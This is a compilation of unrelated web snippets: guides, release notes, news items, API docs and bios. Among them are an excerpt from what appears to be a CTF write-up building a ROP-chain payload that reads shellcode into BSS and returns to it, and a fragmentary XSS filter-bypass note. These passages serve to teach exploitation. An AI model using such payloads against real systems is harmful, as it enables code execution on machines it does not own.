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Programming By Example, By Example
Danny O'Connor | August, 2020
Programming-by-example, commonly referred to as PBE, is featured in several popular pieces of software. As the name suggests, programming-by-example allows users to generate programs by providing nothing more than a few example inputs and outputs. Any system which uses examples provided by users to define reusable behavior is PBE, even if it is not classified as such specifically. PBE can be used to automate repetitive tasks, such as populating a new column in Microsoft Excel based off an existing column. This framework of example-based programming allows users with little-to-no technical knowledge to create reusable solutions to problems they may have previously required outside assistance to complete. Learning how to use your PBE tool effectively can increase your productivity, and save time on repetitious tasks, so its a worthwhile endeavor to understand how they work. Instead of writing code in a programming language, you program your desired program via examples! PBE works by generating programs that satisfy the provided examples at least, and hopefully solve all desired use cases. In order to use PBE effectively, you must be able to come up with a full set of descriptive, unambiguous examples which exemplify the task you want to fulfill. Often times, end-users of PBE systems aren't fully aware of what the software is looking for in terms of the given examples - no matter what PBE system you may be using, this site will give you the necessary tools to become an effective PBE user!
Coming Up with Effective Examples
PBE can only be as effective as the provided examples allow it to be. Examples are extremely friendly towards the user, since coming up with examples of how something should behave is often easier then implementing that behavior. More people are able to come up with examples for their problem than are able to program a solution by hand, which is great for the everyday user! However, examples are inherently ambiguous, and often do not encompass the scope of the entire problem.
Since generating effective examples is so important to PBE, and coming up with well-suited PBE examples isn't a widely held skill, it's important to put some thought into your examples. Here's a short guide you can refer to when coming up with examples of your own.
1. Decompose the problem
Some problems are still too big to be solved by modern PBE systems in one go. Often, it is necessary to decompose these problems into smaller sub-tasks that PBE can be used to solve.
Depending on which PBE system your using, you should be able to combine these PBE-backed sub-tasks to solve your original problem. If your using Excel Flash Fill , for example, you can store each intermediate result in its own column which will be the input for the next step!
Besides being helpful for the PBE system, decomposing your problem can be helpful for your understanding of the problem, and therefore your ability to come up with worthwhile examples. It can be difficult to come up with examples for complicated tasks, but coming up with examples for each individual step is usually much easier!
2. Disambiguate your examples
One of the biggest challenges of PBE is that examples are an ambiguous way of specifying a program. There are many possible programs all with different behaviors which could satisfy any given set of examples.
It's best to think of your examples as the full description of the program you wish to generate. In order to fully describe your program, you want to think of examples which encompass any and all specifications you want the program to fulfill.
If all your examples seem exceedingly similar to each other, that is often a sign that they are too ambiguous, and might miss some of the finer details of the task at hand. It is also useful to think of any edge-cases you might want to encounter, and include those as examples.
3. Provide enough examples
PBE works by generating a program that works on the provided examples, but they don't always generate programs that work as expected for all input. Sometimes, when providing too few examples, you end up with a program which does something you don't intend.
The number of examples you should provide depends on the complexity of the task, and the specific PBE system you may be using. Around 5 is a good baseline to aim for, but you may need to add more until you get a working program.
When thinking of additional examples, you want to keep in mind disambiguation, and provide examples that:
- Conform to the expected behavior
- Further define your intentions
- Exemplify behavior on edge-case inputs
4. Validate your examples
This may seem self-evident, but it is very important that your examples don't have any mistakes in them. Providing a wrong example can lead PBE down the wrong path, resulting in a program which satisfies the erroneous examples without achieving the task at hand.
If your PBE system isn't working as expected, double checking that your examples don't contain any mistakes is always a good first step. If you still believe your examples are correct but PBE isn't working, you may need to add more examples.
5. Refactor and retry
Even if you provide a good set of initial examples, there's no guarantee the PBE system will get it right on the first go. Often times, getting the desired result from PBE requires some back and forth.
When the PBE system isn't doing what you intend, go through your examples one more time to see what may be missing. Refer back to the guide, and see if you can further decompose your problem, or disambiguate and validate your examples.
Practice Problems
What better way to learn Programming-By-Example, then by example! Test out what you've learned with some practice problems.


Historique des versions
v2.3 (01/04/2019)
Basemaps
- add Morocco at two levels: regions and provinces (2015)
- add United-Kingdom at two levels: NUTS-1 and NUTS-3 (2018)
- add Algeria wilayas (2008)
- add China provinces (2018)
- add New-Caledonia municipalities (2017)
- add Grand Paris at two levels: municipalities and iris
- update Europe at two levels: NUTS-2 and NUTS-3 (2016)
Import basemap
New functionality to import your own basemap in three possible formats: shapefile, geojson or topojson.
Export
More customization for world basemap at export step: equator, sphere, seas, background
v2.2 (13/11/2018)
- Redesign of visualizations panel: new classification more clear and readable
- 3 new viz than combine two variables
- Documentation is now directly accessible in Khartis
- Map title and labels can be styled: font, size, bold, italic, underline, align, color
- Labels can now be moved and connectors appears automatically.
- New projection available: Armadillo by Erwin Raisz and Airocean by Buckminster Fuller
- Fix Jenks discretization thresholds
- Dependancies: upgrade to ember 3.1
v2.1 (09/03/2018)
- new tools to add text and arrow above the map. Bonus: objects are georeferenced with the map
- many improvement of the legend for more liberty: horizontal or vertical presentation, dissociate legends, round values
- new download button always visible in export step
- more option when exporting as image (.png) -> normal size, double (@2x) and triple (@3x)
- new basemaps: Canada by provinces or census division in 2016
- add tooltip to all button of the floating map menu
- add automatic suggestion when editing a column in the data step
- fix bug when data with empty cell in ID column
- fix bug when no data value have special character (“..”, “-”)
v2.0 (16/11/2017)
- global redesign for a better experience and ergonomy
- new projection available : Bertin 1953. Thanks to Philippe Rivière (@Fil). More information on Visionscarto.net
- new viz “categories > ordered symbols”: to show a hierarchy on points (capitals of state, chief towns of regions, communes ... or a ranking in a typology). This viz is based on Jacques Bertin’s work.
- new viz “categories > ordered surface”: to show a hierarchy (ranking) on surface. Reverse order of ranking is possible.
- new discretization available “manual thresholds”: if you’re not satisfied with automatic discretization make your own one.
- new option to check your data on the fly: a tooltip is available on the map
- auto-update on offline app: don’t miss new version
- improve rendering of pattern with a new scale option
- more projects saved in the browser and we add a new way to reopen your project saved locally: by dragging and dropping it.
- filter basemap list to quickly find the one you need
- a lot of improvement in reactivity and performance : in the data step and with the zoom
- bug fix: SVG export now support opacity
v1.3 (26/07/2017)
- add France at municipality level split by 18 regions in 2016 and 2017
v1.2 (21/07/2017)
Basemaps
- add Europe at three levels: country, NUTS-2 and NUTS-3 + examples data
- add France electoral district for 2012 and 2017 with presidential data
- add Germany at two levels: Lander and Lankreise + examples data. Thanks to @mukil ! (#9)
- all basemaps now have a copyright cited according to sources and visible in UI
- support of two optional layers: a second line geometry draw at the top and a second polygon geometry draw at the bottom (see Europe basemap for example)
Viz and UI
- add german translation thnaks to @mukil ! (#9)
- add a daltonism simulation via SVG filters from colourblind
- add bar symbol in addition to circle and rectangle
- improve legend of all visualizations
- add two discretizations: standard deviation and Jenks based on geostats and simple-statistics plus some otpimization
Dependancies
- update to d3v4
- update to ember 2.13
- add electron to build offline version of Khartis for Windows, macOS and Linux
Fix
- and a lot of fix not listed
v1.0 (3/11/2016)
- add brazil basemaps:
- 3 levels: States, mesoregions and microregions
- add one example at States level
- fix brazil dictionary: ID as text
- fix year on world basemap


You can now ask your Google Assistant speaker to play recommended Spotify music
by Scott PlowmanSometimes when you listen to music on your home speakers you want to listen to something different, discover some new music and until now you have been unable to get your Assistant to play recommended music from Spotify. Now that has changed thanks for some new personalised commands Spotify have added to their platform.
Available now, you can ask your Assistant to play recommended music if you have Spotify as your default music app. The recommended music is based on your listening history resulting in new content based on your tastes (do not let your kids ruin your history with their noise). Unfortunately the new feature is available only to premium subscribers with their Google Assistant language set to English.
To use the new feature you can use the following commands after first triggering your Assistant with an OK Google or similar:
- Recommend some music
- Play recommended music
- Find recommended music
If the speaker does start playing something not up your alley you can change it with the following commands (after an OK Google):
- Play something (else/different)
- Try something (else/different)
These new commands join a host of other Spotify Assistant commands which you can check out at the Google Nest support page. Even if you think you know them all why not head on over and see if there is something you have missed.


<EMAIL_ADDRESS>Rowan holds a Bachelor’s degree from UC Berkeley in Mathematics and is a soon to graduate with a Master’s degree in Data Science. He is excited to start working in the Big Data industry in San Francisco after graduating. Outside this profession, he is engaged in dance, gymnastics, circus arts and climbing.
<EMAIL_ADDRESS>Percival Chen is a current 5th-year MIDS student, with a bachelors in Molecular and Cell Biology with honors. During college, he was first exposed to data science through the Bachtrog Lab, where he conducted research and data analysis in a variety of genomic projects. Looking forward, he would like to use big data in industry to glean insights and drive decision-making.
<EMAIL_ADDRESS>George Tao is a current 5th-year MIDS student. As an undergraduate at UC Berkeley, he studied math and computer science and plans on pursuing a career in software engineering and data science. He was drawn towards data science through his previous passion for fantasy basketball and strategy games.
<EMAIL_ADDRESS>Natalie Wang is a current 5th-year MIDS student. She recently graduated from UC Berkeley with a triple major in applied mathematics, data science, and sociology. She is interested in utilizing data science to help distribute healthcare resources in developing countries and sustainable energy sources.


Trump describes Turkish disappointment in French NATO statement
WASHINGTON (Reuters) - U.S. President Donald Trump said on Wednesday that Turkey and others in the international community were very disappointed in a French statement about the North Atlantic Treaty Organization, at a White House meeting flanked by U.S. senators and Turkish President Tayyip Erdogan.
French President Emmanuel Macron recently said that NATO was experiencing “brain death,” citing a lack of coordination and U.S. unpredictability under Trump. He also expressed doubt about the U.S.-led alliance’s security maxim that an attack on one ally would be treated as an attack on all.
“I think (Erdogan), I think I can say this, because other people know it, and many other people feel the same way, they were very disappointed and he was very disappointed in the statement made by France having to do with commitment and NATO,” Trump said.
“I think that bothered the president very much and I don’t think he was very happy about it, and a lot of other people feel that way too.”
Trump did not clarify who else he was referring to felt the same way.


Dynamic Body
Kinematic Body
Static Body
Apply a force at a world point. If the force is not applied at the center of mass, it will generate a torque and affect the angular velocity. This wakes up the body.
The world force vector, usually in Newtons (N).
The world position of the point of application.
Apply a torque. This affects the angular velocity without affecting the linear velocity of the center of mass. This wakes up the body.
Force applied about the z-axis (out of the screen), usually in N-m.
Creates a fixture and attach it to this body. Use this function if you need to set some fixture parameters, like friction. Otherwise you can create the fixture directly from a shape. If the density is non-zero, this function automatically updates the mass of the body. Contacts are not created until the next time step.
The fixture definition;
The created fixture.
Creates a fixture from a shape and attach it to this body. This is a convenience function. Use b2FixtureDef if you need to set parameters like friction, restitution, user data, or filtering. This function automatically updates the mass of the body.
The shaped of the fixture (to be cloned).
The shape density, default is 0.0, set to zero for static bodies.
The created fixture.
Destroy a fixture. This removes the fixture from the broad-phase and destroys all contacts associated with this fixture. This will automatically adjust the mass of the body if the body is dynamic and the fixture has positive density. All fixtures attached to a body are implicitly destroyed when the body is destroyed.
The fixed to be removed.
Get the angle in radians.
The current world rotation angle in radians
Get the angular damping of the body.
Angular damping of the body.
Get the angular velocity.
The angular velocity in radians/second.
Get the list of all contacts attached to this body.
List of all contacts attached to this body.
Get the list of all controllers attached to this body.
List of all controllers attached to this body.
Get the definition containing the body properties.
The body's definition.
Get the list of all fixtures attached to this body.
List of all fixtures attached to this body.
Get the central rotational inertia of the body.
The rotational inertia, usually in kg-m^2.
Get the list of all joints attached to this body.
List of all joints attached to this body.
Get the linear damping of the body.
The linear damping of the body.
Get the linear velocity of the center of mass.
The linear velocity of the center of mass.
Get the local position of the center of mass.
Local position of the center of mass.
Get the total mass of the body.
The body's mass, usually in kilograms (kg).
Get the mass data of the body. The rotational inertial is relative to the center of mass.
Body's mass data, this argument is out
.
Get the next body in the world's body list.
Next body in the world's body list.
Get the world body origin position.
World position of the body's origin.
Get the body transform for the body's origin.
World transform of the body's origin.
Get the type of this body.
Body type as uint.
Get the user data pointer that was provided in the body definition.
User's data, cast to the correct type.
Get the parent world of this body.
Body's world.
Get the world position of the center of mass.
World position of the center of mass.
Get the active state of the body.
True if the body is active, otherwise false.
Get the sleeping state of this body.
True if the body is awake, otherwise false.
Is the body treated like a bullet for continuous collision detection?
True if the body is treated like a bullet, otherwise false.
Does this body have fixed rotation?
True for fixed, otherwise false.
Is this body allowed to sleep?
True if the body can sleep, otherwise false.
Merges another body into this. Only fixtures, mass and velocity are effected, Other properties are ignored.
This resets the mass properties to the sum of the mass properties of the fixtures. This normally does not need to be called unless you called SetMassData to override the mass and later you want to reset the mass.
Set the active state of the body. An inactive body is not simulated and cannot be collided with or woken up. If you pass a flag of true, all fixtures will be added to the broad-phase. If you pass a flag of false, all fixtures will be removed from the broad-phase and all contacts will be destroyed. Fixtures and joints are otherwise unaffected. You may continue to create/destroy fixtures and joints on inactive bodies. Fixtures on an inactive body are implicitly inactive and will not participate in collisions, ray-casts, or queries. Joints connected to an inactive body are implicitly inactive. An inactive body is still owned by a b2World object and remains in the body list.
True to activate, false to deactivate.
Set the world body angle
New angle of the body.
Set the angular damping of the body.
New angular damping value.
Set the angular velocity.
New angular velocity in radians/second.
Set the sleep state of the body. A sleeping body has vety low CPU cost.
True to set the body to awake, false to put it to sleep.
Should this body be treated like a bullet for continuous collision detection?
True for bullet, false for normal.
Set this body to have fixed rotation. This causes the mass to be reset.
True for no rotation, false to allow for rotation.
Set the linear damping of the body.
The new linear damping for this body.
Set the linear velocity of the center of mass.
New linear velocity of the center of mass.
Set the mass properties to override the mass properties of the fixtures Note that this changes the center of mass position. Note that creating or destroying fixtures can also alter the mass. This function has no effect if the body isn't dynamic.
New mass data properties.
Set the world body origin position.
New world body origin position.
Set the position of the body's origin and rotation (radians). This breaks any contacts and wakes the other bodies.
New world body origin position.
New world rotation angle of the body in radians.
Is this body allowed to sleep
True if the body can sleep, false if not.
Set the position of the body's origin and rotation (radians). This breaks any contacts and wakes the other bodies. Note this is less efficient than the other overload - you should use that if the angle is available.
Body's origin and rotation (radians).
Set the type of this body. This may alter the mass and velocity
Type enum.
Set the user data. Use this to store your application specific data.
The user data for this body.
Generated using TypeDoc
A rigid body.


SUMMARY
Hi! My name is Thao and I recently graduated from UCSD as a Cognitive Science student. My inspiration for creating comes from the world around me. I love designing and programming to offer practical and unique solutions to problems in order to improve the way we live with technology. When I'm not at my computer, you can find me at a dessert shop or restaurant that I found on Yelp, cooking at home, or exploring San Diego!


Allowed by the filter:
clickme
So this wont be detected (clickjacking):
<a href=“?xss=


See what restaurants, bars, grocery stores and schools have failed or passed their city food inspections. More »
Inspection result (more info)
Inspection date
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Business name
reset map
View the raw data in Fusion Tables here.
Map and search template by Derek Eder.


Denmark to strip suspected ISIS fighters of consular assistance
by EuronewsDenmark is planning on withholding consular assistance to its citizens who travelled abroad to fight for extremist groups, Foreign Minister Jeppe Kofod announced on Saturday.
Kofod's Twitter announcement comes just days after Turkey began deporting foreign fighters — including EU nationals — with so-called Islamist State who had been detained by Kurdish authorities in northern Syria.
READ MORE: Turkey begins deportation of Islamic State militants, with many headed to EU
"We owe absolutely nothing to foreign fighters who went to Syria and Iraq to fight for ISIS," Kofod wrote on Twitter.
"This is why we are now taking measures against the access of foreign fighters to consular assistance by the foreign ministry and Danish representations abroad," he added.
Consular assistance typically includes visitation contact with incarcerated nationals.
The measure needs to be approved by parliament. Last month the government also revealed plans to strip dual nationals of their citizenship if they've travelled abroad to fight with militant groups.
READ MORE: Denmark plans to strip citizenship from militant fighters with dual nationality
A report from the nonprofit Soufan Center estimated that some 40,000 foreign fighters from 110 countries joined IS's ranks between 2014 and 2017, including 5,000 EU nationals.
With more than 1,900 citizens gone abroad to fight for IS, France was the most heavily burdened EU country. Denmark, meanwhile, had had 145 of its nationals join the Islamist terror group.
Before the Turkish military incursion in northern Syria, launched on October 9, Western-backed Kurdish groups were detaining thousands of suspected IS fighters and their family members including wives and children in makeshifts prison and camps.
According to the European Council of Foreign Affairs thinktank, at least 2,000 of the men in detention were foreign as well as 11,000 for women and children.
Ankara, which sees Kurdish organisations as terror groups, has since secured control of the area and the camps and began, earlier this week, deporting foreign fighters.


is finely ground powder of specially grown and processed green tea. It is special in two aspects of farming and processing: the green tea plants for matcha are shade-grown for about three weeks before harvest, and the stems and veins are removed in processing.
During shaded growth, the plant Camellia sinensis produces more theanine and caffeine.
This combination of chemicals is considered to account for the calm energy people might feel from drinking matcha.
The powdered form of matcha is consumed differently from tea leaves or tea bags, and is dissolved in a liquid, typically water or milk.
The development and cultivation of green tea is thought to have begun sometime in the Tang Dynasty (7-10th century) where the tea was harvested and formed into tea bricks which were created for storage and for the efficient transportation of the tea over long distances.
Initially the tea was prepared by roasting and pulverizing, then followed by decocting the resulting tea powder in hot water, adding salt. From these origins the process evolved until the grinding of steamed green tea became popular in the Song Dynsaty (10th–13th Century). The method of making powdered tea from steam-prepared dried tea leaves, and preparing the beverage by whipping the tea powder and hot water together in a bowl became popular in the latter part of the 12th century.
Preparation and consumption of powdered tea was formed into a ritual by Zen Buddhists, who cultivated the green tea plant, called "sencha", by growing it under shade conditions thus maximizing the therapeutic benefits of the green tea, or what became known as "Matcha".
What began as a "sencha" plant, evolved into what is known as "tencha", the basis for this highly revered and carefully cultivated shade grown green tea plant.


Gadgets
Now I’ll need some gadgets. In gdb with peda loaded, I ran dumprop, which writes a bunch of gadgets to a file, tiny-rop.txt. To call read, I’ll need to pass the socket descriptor in rsi, and the address to write to in rdi. So I need gadgets to pop into those registers. I’ll find these two:
0x4011dd: pop rdi; ret <-- useful to pass parameters to read
0x4011db: pop rsi; pop r15; ret <-- useful to pass parameters to read, ignoring r15
So, this all adds up to the following payload:
junk = "A" * 568 # junk
payload = ""
payload += p64(0x4011dd) # pop rdi; ret
payload += p64(4) # socket descriptor
payload += p64(0x4011db) # pop rsi; pop r15; ret
payload += p64(BSS) # BSS, to go to rsi
payload += p64(BSS) # junk for r15
payload += p64(read) # read
payload += p64(BSS) # return to shellcode
I’ll walk through that in detail:
- junk will be the right length so that when the program goes to return, the top of the stack will be the start of payload. Therefore, execution will return to the pop rdi; ret gadget, and 4 will sit on top of the stack.
- pop rdi will take the 4 off the top of the stack and store it in rdi. This leaves the second gadget on top of the stack.
- ret will move execution to the second gadget, leaving the address of bss on top of the stack.
- The second gadget will pop twice, into rsi and r15. I don’t care about r15, but I needed the bss address in rsi. Now, the address of read sits on top of the stack.
- ret will push execution to the read call, leaving the bss address on top of the stack. Because I now have the socket descriptor in rdi, and the bss address in rsi, it will read from the socket into bss.
- If I had called read as a function, that would have pushed a new return address onto the stack. But since I just moved RIP there, when read returns, it will pop the next word off the stack for a return address, which is the bss address, where I just wrote my shellcode.


--- layout: post title: Mock objects... for testing date: 2012-11-03 15:29:16.000000000 +00:00 type: post parent_id: '0' published: true password: '' status: publish categories: - python tags: [] meta: _edit_last: '1' author: Noel permalink: "/mock-objects-for-testing/" ---
Mock attributes and functions for objects you need quickly in a test
>>> def do_print(x): ... print x >>> apple = type("", (), {'pips':7, 'bite':lambda s:do_print('Munch!')})() >>> apple.pips 7 >>> apple.bite() Munch!


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Add a new node to @parent, at the end of the child (or property) list merging adjacent TEXT nodes (in which case @cur is freed) If the new node is ATTRIBUTE, it is added into properties instead of children. | |
Add a list of node at the end of the child list of the... | |
Append the extra substring to the node content. | |
Append the extra substring to the node content. | |
Add a new node @elem as the next sibling of @cur If the new node was already inserted in a document it is first unlinked from its existing context. | |
Add a new node @elem as the previous sibling of @cur merging adjacent TEXT nodes (@elem may be freed) If the new node was already inserted in a document it is first unlinked from its existing context. | |
Add a new element @elem to the list of siblings of @cur merging adjacent TEXT nodes (@elem may be freed) If the new element was already inserted in a document it is first unlinked from its existing context. | |
Do a copy of the node. | |
Do a recursive copy of the node list. | |
Do a copy of the attribute. | |
Do a copy of an attribute list. | |
Dumps debug information for the element node, it is... | |
Dumps debug information for the list of element node, it is... | |
Dumps debug information for the element node, it is not... | |
Do a copy of the node to a given document. | |
Set the root element of the document (doc->children is a list containing possibly comments, PIs, etc ...). | |
Free a node, this is a recursive behaviour, all the children are freed too. | |
Free a node and all its siblings, this is a recursive behaviour, all the children are freed too. | |
Searches for the BASE URL. | |
Read the value of a node, this can be either the text carried directly by this node if it's a TEXT node or the aggregate string of the values carried by this node child's (TEXT and ENTITY_REF). | |
Searches the language of a node, i.e. | |
Searches the space preserving behaviour of a node, i.e. | |
Search for an attribute associated to a node This attribute has to be anchored in the namespace specified. | |
Search an attribute associated to a node This function also looks in DTD attribute declaration for #FIXED or default declaration values unless DTD use has been turned off. | |
Checks whether this node is an empty or whitespace only (and possibly ignorable) text-node. | |
Determine whether an attribute is of type ID. | |
Determine whether an attribute is of type Ref. | |
Is this node a Text node ?... | |
Search the last child of a node. | |
Get line number of @node. | |
Builds the string equivalent to the text contained in the Node list made of TEXTs and ENTITY_REFs, contrary to xmlNodeListGetString() this function doesn't do any character encoding handling. | |
Build the string equivalent to the text contained in the... | |
Count the children of @node. | |
Dump to @output the type and name of @node. | |
Creation of a new child element, added at the end of @parent children list. | |
Creation of a new Namespace. | |
Create a new property tagged with a namespace and carried by a node. | |
Create a new property tagged with a namespace and carried by a node. | |
Create a new property carried by a node. | |
Creation of a new child element, added at the end of @parent children list. | |
Build a structure based Path for the given node... | |
Search and get the value of an attribute associated to a node This does the entity substitution. | |
Get the namespace of a node... | |
Get the namespace of a node... | |
Search and get the value of an attribute associated to a node This attribute has to be anchored in the namespace specified. | |
Search and get the value of an attribute associated to a node This does the entity substitution. | |
This function checks that all the namespaces declared within the given tree are properly declared. | |
Unlink the old node from its current context, prune the new one at the same place. | |
Search a Ns registered under a given name space for a document. | |
Search a Ns aliasing a given URI. | |
Set (or reset) the base URI of a node, i.e. | |
Replace the content of a node. | |
Replace the content of a node. | |
Set the language of a node, i.e. | |
update all nodes in the list to point to the right document... | |
Set (or reset) the name of a node. | |
Associate a namespace to a node, a posteriori. | |
Set (or reset) an attribute carried by a node. | |
Set (or reset) an attribute carried by a node. | |
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Traversal function for the "ancestor-or-self" direction he ancestor-or-self axis contains the context node and ancestors of the context node in reverse document order; thus the context node is the first node on the axis, and the context node's parent the second; parent here is defined the same as with the parent axis. | |
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Traversal function for the "child" direction The child axis contains the children of the context node in document order. | |
Traversal function for the "descendant" direction the descendant axis contains the descendants of the context node in document order; a descendant is a child or a child of a child and so on. | |
Traversal function for the "descendant-or-self" direction... | |
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Traversal function for the "following-sibling" direction The following-sibling axis contains the following siblings of the context node in document order. | |
Traversal function for the "namespace" direction the namespace axis contains the namespace nodes of the context node; the order of nodes on this axis is implementation-defined; the axis will be empty unless the context node is an element We keep the XML namespace node at the end of the list. | |
Traversal function for the "parent" direction The parent axis contains the parent of the context node, if there is one. | |
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Traversal function for the "preceding-sibling" direction The preceding-sibling axis contains the preceding siblings of the context node in reverse document order; the first preceding sibling is first on the axis; the sibling preceding that node is the second on the axis and so on. | |
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next : Next sibling node... | |
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addChild(self, cur)Add a new node to @parent, at the end of the child (or property) list merging adjacent TEXT nodes (in which case @cur is freed) If the new node is ATTRIBUTE, it is added into properties instead of children. If there is an attribute with equal name, it is first destroyed. |
addChildList(self, cur)Add a list of node at the end of the child list of the parent merging adjacent TEXT nodes (@cur may be freed) |
addContent(self, content)Append the extra substring to the node content. |
addContentLen(self, content, len)Append the extra substring to the node content. |
addNextSibling(self, elem)Add a new node @elem as the next sibling of @cur If the new node was already inserted in a document it is first unlinked from its existing context. As a result of text merging @elem may be freed. If the new node is ATTRIBUTE, it is added into properties instead of children. If there is an attribute with equal name, it is first destroyed. |
addPrevSibling(self, elem)Add a new node @elem as the previous sibling of @cur merging adjacent TEXT nodes (@elem may be freed) If the new node was already inserted in a document it is first unlinked from its existing context. If the new node is ATTRIBUTE, it is added into properties instead of children. If there is an attribute with equal name, it is first destroyed. |
addSibling(self, elem)Add a new element @elem to the list of siblings of @cur merging adjacent TEXT nodes (@elem may be freed) If the new element was already inserted in a document it is first unlinked from its existing context. |
copyNode(self, extended)Do a copy of the node. |
copyNodeList(self)Do a recursive copy of the node list. |
copyProp(self, cur)Do a copy of the attribute. |
copyPropList(self, cur)Do a copy of an attribute list. |
debugDumpNode(self, output, depth)Dumps debug information for the element node, it is recursive |
debugDumpNodeList(self, output, depth)Dumps debug information for the list of element node, it is recursive |
debugDumpOneNode(self, output, depth)Dumps debug information for the element node, it is not recursive |
docCopyNode(self, doc, extended)Do a copy of the node to a given document. |
docSetRootElement(self, doc)Set the root element of the document (doc->children is a list containing possibly comments, PIs, etc ...). |
freeNode(self)Free a node, this is a recursive behaviour, all the children are freed too. This doesn't unlink the child from the list, use xmlUnlinkNode() first. |
freeNodeList(self)Free a node and all its siblings, this is a recursive behaviour, all the children are freed too. |
getBase(self, doc)Searches for the BASE URL. The code should work on both XML and HTML document even if base mechanisms are completely different. It returns the base as defined in RFC 2396 sections 5.1.1. Base URI within Document Content and 5.1.2. Base URI from the Encapsulating Entity However it does not return the document base (5.1.3), use xmlDocumentGetBase() for this |
getContent(self)Read the value of a node, this can be either the text carried directly by this node if it's a TEXT node or the aggregate string of the values carried by this node child's (TEXT and ENTITY_REF). Entity references are substituted.
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getLang(self)Searches the language of a node, i.e. the values of the xml:lang attribute or the one carried by the nearest ancestor. |
getSpacePreserve(self)Searches the space preserving behaviour of a node, i.e. the values of the xml:space attribute or the one carried by the nearest ancestor. |
hasNsProp(self, name, nameSpace)Search for an attribute associated to a node This attribute has to be anchored in the namespace specified. This does the entity substitution. This function looks in DTD attribute declaration for #FIXED or default declaration values unless DTD use has been turned off. |
hasProp(self, name)Search an attribute associated to a node This function also looks in DTD attribute declaration for #FIXED or default declaration values unless DTD use has been turned off. |
isBlankNode(self)Checks whether this node is an empty or whitespace only (and possibly ignorable) text-node. |
isID(self, doc, attr)Determine whether an attribute is of type ID. In case we have DTD(s) then this is done if DTD loading has been requested. In the case of HTML documents parsed with the HTML parser, then ID detection is done systematically. |
isRef(self, doc, attr)Determine whether an attribute is of type Ref. In case we have DTD(s) then this is simple, otherwise we use an heuristic: name Ref (upper or lowercase). |
isText(self)Is this node a Text node ? |
lastChild(self)Search the last child of a node. |
lineNo(self)Get line number of @node. This requires activation of this option before invoking the parser by calling xmlLineNumbersDefault(1) |
listGetRawString(self, doc, inLine)Builds the string equivalent to the text contained in the Node list made of TEXTs and ENTITY_REFs, contrary to xmlNodeListGetString() this function doesn't do any character encoding handling. |
listGetString(self, doc, inLine)Build the string equivalent to the text contained in the Node list made of TEXTs and ENTITY_REFs |
lsCountNode(self)Count the children of @node. |
lsOneNode(self, output)Dump to @output the type and name of @node. |
newChild(self, ns, name, content)Creation of a new child element, added at the end of @parent children list. @ns and @content parameters are optional (None). If @ns is None, the newly created element inherits the namespace of @parent. If @content is non None, a child list containing the TEXTs and ENTITY_REFs node will be created. NOTE: @content is supposed to be a piece of XML CDATA, so it allows entity references. XML special chars must be escaped first by using xmlEncodeEntitiesReentrant(), or xmlNewTextChild() should be used. |
newNs(self, href, prefix)Creation of a new Namespace. This function will refuse to create a namespace with a similar prefix than an existing one present on this node. We use href==None in the case of an element creation where the namespace was not defined. |
newNsProp(self, ns, name, value)Create a new property tagged with a namespace and carried by a node. |
newNsPropEatName(self, ns, name, value)Create a new property tagged with a namespace and carried by a node. |
newProp(self, name, value)Create a new property carried by a node. |
newTextChild(self, ns, name, content)Creation of a new child element, added at the end of @parent children list. @ns and @content parameters are optional (None). If @ns is None, the newly created element inherits the namespace of @parent. If @content is non None, a child TEXT node will be created containing the string @content. NOTE: Use xmlNewChild() if @content will contain entities that need to be preserved. Use this function, xmlNewTextChild(), if you need to ensure that reserved XML chars that might appear in @content, such as the ampersand, greater-than or less-than signs, are automatically replaced by their XML escaped entity representations. |
nodePath(self)Build a structure based Path for the given node |
noNsProp(self, name)Search and get the value of an attribute associated to a node This does the entity substitution. This function looks in DTD attribute declaration for #FIXED or default declaration values unless DTD use has been turned off. This function is similar to xmlGetProp except it will accept only an attribute in no namespace. |
ns(self)Get the namespace of a node |
nsDefs(self)Get the namespace of a node |
nsProp(self, name, nameSpace)Search and get the value of an attribute associated to a node This attribute has to be anchored in the namespace specified. This does the entity substitution. This function looks in DTD attribute declaration for #FIXED or default declaration values unless DTD use has been turned off. |
prop(self, name)Search and get the value of an attribute associated to a node This does the entity substitution. This function looks in DTD attribute declaration for #FIXED or default declaration values unless DTD use has been turned off. NOTE: this function acts independently of namespaces associated to the attribute. Use xmlGetNsProp() or xmlGetNoNsProp() for namespace aware processing. |
reconciliateNs(self, doc)This function checks that all the namespaces declared within the given tree are properly declared. This is needed for example after Copy or Cut and then paste operations. The subtree may still hold pointers to namespace declarations outside the subtree or invalid/masked. As much as possible the function try to reuse the existing namespaces found in the new environment. If not possible the new namespaces are redeclared on @tree at the top of the given subtree. |
replaceNode(self, cur)Unlink the old node from its current context, prune the new one at the same place. If @cur was already inserted in a document it is first unlinked from its existing context. |
searchNs(self, doc, nameSpace)Search a Ns registered under a given name space for a document. recurse on the parents until it finds the defined namespace or return None otherwise. @nameSpace can be None, this is a search for the default namespace. We don't allow to cross entities boundaries. If you don't declare the namespace within those you will be in troubles !!! A warning is generated to cover this case. |
searchNsByHref(self, doc, href)Search a Ns aliasing a given URI. Recurse on the parents until it finds the defined namespace or return None otherwise. |
setBase(self, uri)Set (or reset) the base URI of a node, i.e. the value of the xml:base attribute. |
setContent(self, content)Replace the content of a node. |
setContentLen(self, content, len)Replace the content of a node. |
setLang(self, lang)Set the language of a node, i.e. the values of the xml:lang attribute. |
setListDoc(self, doc)update all nodes in the list to point to the right document |
setName(self, name)Set (or reset) the name of a node. |
setNs(self, ns)Associate a namespace to a node, a posteriori. |
setNsProp(self, ns, name, value)Set (or reset) an attribute carried by a node. The ns structure must be in scope, this is not checked. |
setProp(self, name, value)Set (or reset) an attribute carried by a node. |
setSpacePreserve(self, val)Set (or reset) the space preserving behaviour of a node, i.e. the value of the xml:space attribute. |
setTreeDoc(self, doc)update all nodes under the tree to point to the right document |
shellPrintNode(self)Print node to the output FILE |
textConcat(self, content, len)Concat the given string at the end of the existing node content |
textMerge(self, second)Merge two text nodes into one |
unlinkNode(self)Unlink a node from it's current context, the node is not freed |
unsetNsProp(self, ns, name)Remove an attribute carried by a node. |
unsetProp(self, name)Remove an attribute carried by a node. |
validNormalizeAttributeValue(self, doc, name, value)Does the validation related extra step of the normalization of attribute values: If the declared value is not CDATA, then the XML processor must further process the normalized attribute value by discarding any leading and trailing space (#x20) characters, and by replacing sequences of space (#x20) characters by single space (#x20) character. |
xincludeProcessTree(self)Implement the XInclude substitution for the given subtree |
xincludeProcessTreeFlags(self, flags)Implement the XInclude substitution for the given subtree |
xpathCastNodeToNumber(self)Converts a node to its number value |
xpathCastNodeToString(self)Converts a node to its string value. |
xpathCmpNodes(self, node2)Compare two nodes w.r.t document order |
